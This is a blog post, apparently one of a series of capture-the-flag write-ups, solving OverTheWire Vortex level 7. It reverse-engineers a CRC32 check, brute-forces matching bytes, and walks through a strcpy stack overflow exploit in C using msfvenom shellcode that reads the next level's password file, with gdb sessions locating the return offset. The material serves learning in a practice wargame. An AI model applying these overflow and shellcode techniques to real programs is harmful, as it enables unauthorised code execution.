Klaus' Log

Sa 23 Februar 2019

Overthewire vortex Wargame - Level 7

Posted by Klaus Eisentraut in ctf   

This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3, Level #4, Level #5, Level #6.

Level 7

Level #7 was a relatively easy one. We need to exploit a simple strcpy buffer overflow, but with the additional constraint that the buffer needs to have a given CRC32 checksum. We are given the main-function, but not the CRC32 calculation.

int main(int argc, char **argv)
        char buf[58];
        u_int32_t hi;
        if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
                strcpy(buf, argv[1]);
        } else {
                printf("0x%08x\n", hi);

Part 1 - Bypassing the CRC check

Our first goal is to understand how the CRC32 is calculated and to be able to make any buffer have the given CRC32 sum of 0xe1ca95ee by appending four bytes. If we look at the vortex7-executable and reverse engineer the CRC32 algorithm, we get the following disassembly:

0804847d <crc32>:    ; we know the function signature from the provided source code. It is
                     ;     uint32_t crc32(uint32_t start, char* data, size_t len)
 804847d:   55                      push   ebp                      ; usual function prologue in x86 GCC calling convention
 804847e:   89 e5                   mov    ebp,esp
 8048480:   83 ec 10                sub    esp,0x10                 ; reserve 16 bytes for local variables
 8048483:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]  ; copy argument #2 (data) to local variable
 8048486:   89 45 fc                mov    DWORD PTR [ebp-0x4],eax  ;         [ebp-0x4]
 8048489:   eb 27                   jmp    80484b2 <crc32+0x35>     ; loop start - jump to break condition
 804848b:   8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]  ; increment
 804848e:   8d 50 01                lea    edx,[eax+0x1]            ;           pointer
 8048491:   89 55 fc                mov    DWORD PTR [ebp-0x4],edx  ;                   in [ebp-0x4]
 8048494:   0f b6 00                movzx  eax,BYTE PTR [eax]       ; mov current byte into eax
 8048497:   0f b6 c0                movzx  eax,al                   ; eax &= 0xff
 804849a:   33 45 08                xor    eax,DWORD PTR [ebp+0x8]  ; xor it with current return value ("start")
 804849d:   0f b6 c0                movzx  eax,al                   ; eax &= 0xff
 80484a0:   8b 04 85 00 86 04 08    mov    eax,DWORD PTR [eax*4+0x8048600] ; eax = crctable[eax]
 80484a7:   8b 55 08                mov    edx,DWORD PTR [ebp+0x8]  ;         (start
 80484aa:   c1 ea 08                shr    edx,0x8                  ;               <<8)
 80484ad:   31 d0                   xor    eax,edx                  ; start =            ^ crctable[ret & 0xff]
 80484af:   89 45 08                mov    DWORD PTR [ebp+0x8],eax  ; start = (start<<8) ^ crctable[start & 0xff]
 80484b2:   83 6d 10 01             sub    DWORD PTR [ebp+0x10],0x1 ; (flow jumps here) len--
 80484b6:   83 7d 10 00             cmp    DWORD PTR [ebp+0x10],0x0 ; if len >= 0
 80484ba:   79 cf                   jns    804848b <crc32+0xe>      ;   we are not finished yet, jump to 804848b
 80484bc:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]  ; if len < 0, return "start" stored in [ebp+0x8]
 80484bf:   c9                      leave
 80484c0:   c3                      ret

Translated back into C code, we get the following function:

uint32_t crc32(uint32_t start, const unsigned char* data, size_t len) {
    uint32_t ret = start;
    for (size_t i=0; i<len; ++i) {
        ret ^= data[i];
        ret = (ret >> 8) ^ crctable[ret & 0xff];
    return ret;

The crctable is at 0x8048600 and can be extracted with gdb. It is exactly 256 dwords long.

(gdb) x/256x 0x8048600
0x8048600 <crc32_table>:    0x00000000  0x77073096  0xee0e612c  0x990951ba
0x8048610 <crc32_table+16>: 0x076dc419  0x706af48f  0xe963a535  0x9e6495a3
0x80489e0 <crc32_table+992>:    0xb3667a2e  0xc4614ab8  0x5d681b02  0x2a6f2b94
0x80489f0 <crc32_table+1008>:   0xb40bbe37  0xc30c8ea1  0x5a05df1b  0x2d02ef8d

Now, we are able to calculate the CRC32 checksum for given data. We can even try if our algorithm matches up with the given one because the vortex7 executable will print the CRC32 sum for any input.

In the provided link, it is explained in great detail how one could make any given buffer to match a given CRC32 by adjusting the last four bytes. However, we don't need any mathematics here! 2**32 is not this large and can actually be brute-forced in a reasonable time. We simply increment the last four bytes until the CRC32 of the whole buffer happens to have the correct value!

void fix_end(unsigned char* prefix, size_t len, uint32_t targetvalue) {
    assert(len >= 4);
    uint32_t partial = crc32(prefix,len-4,0);
    uint32_t* padding = (uint32_t*) (prefix + (len - 4));
    while (1) { 
        if (crc32(partial, (unsigned char*) padding, 4) == targetvalue)
        // print occasional status messages about brute-force progress
        if ((*padding) % 0x10000000 == 0)
            printf("%u brute-force iterations done\n", *padding);

It's not elegant and takes a few seconds, but it works reliable.

Part 2 - Exploiting the strcpy buffer overflow

Now, we are left with simply exploiting the classic strcpy exploit. Our plan is to simply overwrite the return address and jump to our shellcode. Similiar to the levels before, we will store our shellcode in an environment variable in order to be able to store arbitrary many bytes.

/* win7.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
#include <string.h>

uint32_t crctable[256] = {0x00000000,0x77073096, [...snip...], 0x2d02ef8d};

[...snip (crc32 and fix_end from above)...]

// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex8" --format=c -b '\x00'
unsigned char shellcode[] =

void print_b2a(unsigned char* data, size_t len) {
    for (size_t i=0; i<len; ++i)
        printf("%02x", data[i]);

int main(int argc, char* argv[]) {
    const size_t LEN = 100;
    unsigned char* buffer = (unsigned char*) malloc(LEN+4+1);
    buffer[LEN+4+1] = 0;
    memcpy(buffer, "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A", 100);
    print_b2a(buffer, LEN+4);

    fix_end(buffer, LEN+4, 0xe1ca95ee);
    print_b2a(buffer, LEN+4);

    char* argv_new[] = {"/vortex/vortex7", buffer, NULL};
    char* const envp_new[] = {shellcode, NULL};

    printf("execve vortex7\n");
    execve("/vortex/vortex7", argv_new, envp_new);


The program above will crash, because we have overwritten the return address with garbage. The value we submit to the vulnerable strcpy was generated with pattern_create.rb of MetaSploit.

$ /opt/metasploit/tools/exploit/pattern_create.rb -l 100

Using a non-repeating pattern allows us to find the offset which ends up as the return address quite easily, we simply need to run above win7 executable and watch out for the segmentation fault. It happens to be at address 0x35634134 as we can see with gdb:

(gdb) env -i gdb ./win7
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) set exec-wrapper env -i
(gdb) set disable-randomization on
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) break main
(gdb) run
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) cont
(gdb) break *0x08048519
(gdb) cont
(gdb) cont

Program received signal SIGSEGV, Segmentation fault.
0x35634134 in ?? ()

Written in ASCII, this is 5cA4. As the address is actually little-endian, we need to reverse it and get 4Ac5. All what we need to do know is to figure out where on the stack our shellcode (which we put into the environment variable) resides and replace the bytes 4Ac5 of the pattern with the shellcode's address. Our shellcode starts with "\xda\xc6\xd9\x74...", so we search for the value 0x74d9c6da on the stack:

(gdb) info proc mappings
process 3801
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /vortex/vortex7
     0x8049000  0x804a000     0x1000        0x0 /vortex/vortex7
     0x804a000  0x804b000     0x1000     0x1000 /vortex/vortex7
    0xf7db3000 0xf7f89000   0x1d6000        0x0 /usr/lib32/libc-2.28.so
    0xf7f89000 0xf7f8a000     0x1000   0x1d6000 /usr/lib32/libc-2.28.so
    0xf7f8a000 0xf7f8c000     0x2000   0x1d6000 /usr/lib32/libc-2.28.so
    0xf7f8c000 0xf7f8d000     0x1000   0x1d8000 /usr/lib32/libc-2.28.so
    0xf7f8d000 0xf7f92000     0x5000        0x0
    0xf7fd0000 0xf7fd3000     0x3000        0x0 [vvar]
    0xf7fd3000 0xf7fd4000     0x1000        0x0 [vdso]
    0xf7fd4000 0xf7ffb000    0x27000        0x0 /usr/lib32/ld-2.28.so
    0xf7ffc000 0xf7ffd000     0x1000    0x27000 /usr/lib32/ld-2.28.so
    0xf7ffd000 0xf7ffe000     0x1000    0x28000 /usr/lib32/ld-2.28.so
    0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find /w 0xfffdd000, +(0xffffe000-0xfffdd000), 0x74d9c6da
1 pattern found.

We replace the four bytes 4Ac5 with \x87\xdf\xff\xff and are done:

vortex7@vortex:~$ gcc -o win7 --std=c99 win7.c
vortex7@vortex:~$ ./win7
0 brute-force iterations done
268435456 brute-force iterations done
536870912 brute-force iterations done
805306368 brute-force iterations done
1073741824 brute-force iterations done
1342177280 brute-force iterations done
1610612736 brute-force iterations done
1879048192 brute-force iterations done
2147483648 brute-force iterations done
execve vortex7